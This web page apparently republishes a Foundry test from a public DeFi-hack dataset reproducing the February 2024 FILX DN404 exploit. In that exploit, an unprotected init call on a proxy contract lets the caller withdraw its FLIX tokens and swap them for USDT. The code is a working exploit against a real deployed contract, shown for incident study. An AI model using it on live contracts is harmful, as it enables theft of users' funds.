Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/DN404_exp.sol

Public reproduction file for dataset entry FILX DN404.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/DN404_exp.sol64 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 200K
8// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd
9// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd
10// Vulnerable Contract : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4
11// Attack Tx : https://etherscan.io/tx/0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x2c7112245fc4af701ebf90399264a7e89205dad4#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
21interface IProxy {
22 function init(IERC20 initToken, uint256 initPeriods, uint256 initInterval) external;
24 function withdraw(IERC20 otherToken, uint256 amount, address receiver) external;
27contract DN404 is Test {
28 uint256 constant blockNumber = 19_196_685;
29 address constant victim = 0x2c7112245Fc4af701EBf90399264a7e89205Dad4;
30 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31 address constant FLIX = 0x83Cb9449b7077947a13Bf32025A8eAA3Fb1D8A5e;
32 address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
33 address constant UniV3Pair = 0xa7434b755852F2555D6F96B9E28bAfE92F08Df97;
35 function setUp() public {
36 vm.label(victim, "Proxy");
37 vm.label(WETH, "WETH");
38 vm.label(FLIX, "FLIX");
39 vm.label(USDT, "USDT");
40 vm.label(UniV3Pair, "Uniswap V3 Pair");
41 vm.createSelectFork("mainnet", blockNumber);
42 }
44 function testExploit() public {
45 // Implement exploit code here
46 emit log_named_decimal_uint(" Attacker USDT Balance Before exploit", IERC20(USDT).balanceOf(address(this)), 6);
48 uint256 initPeriods = 1;
49 uint256 initInterval = 1_000_000_000_000_000_000;
50 uint256 amount = IERC20(FLIX).balanceOf(address(victim));
52 IProxy(victim).init(IERC20(WETH), initPeriods, initInterval);
53 IProxy(victim).withdraw(IERC20(FLIX), amount, address(this));
54 Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, "");
55 // Log balances after exploit
56 emit log_named_decimal_uint(" Attacker USDT Balance After exploit", IERC20(USDT).balanceOf(address(this)), 6);
57 }
59 function uniswapV3SwapCallback(int256 amount0Delta, int256, bytes memory) external {
60 IERC20(FLIX).transfer(msg.sender, uint256(amount0Delta));
61 }
63 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “FILX DN404” (2024-02-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd

  • Attack Contract

    0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd

  • Vulnerable Contract

    0x2c7112245fc4af701ebf90399264a7e89205dad4

  • Attack Tx

    0xbeef09ee9d694d2b24f3f367568cc6ba1dad591ea9f969c36e5b181fd301be82

File record

Name
FILX DN404
Path
src/test/2024-02/DN404_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c8630fb3d54b00b18dd829757b036b6092f3e863
Language
Solidity
Size
65 lines
Date
2024-02-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/DN404_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c8630fb3d54b00b18dd829757b036b6092f3e863, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.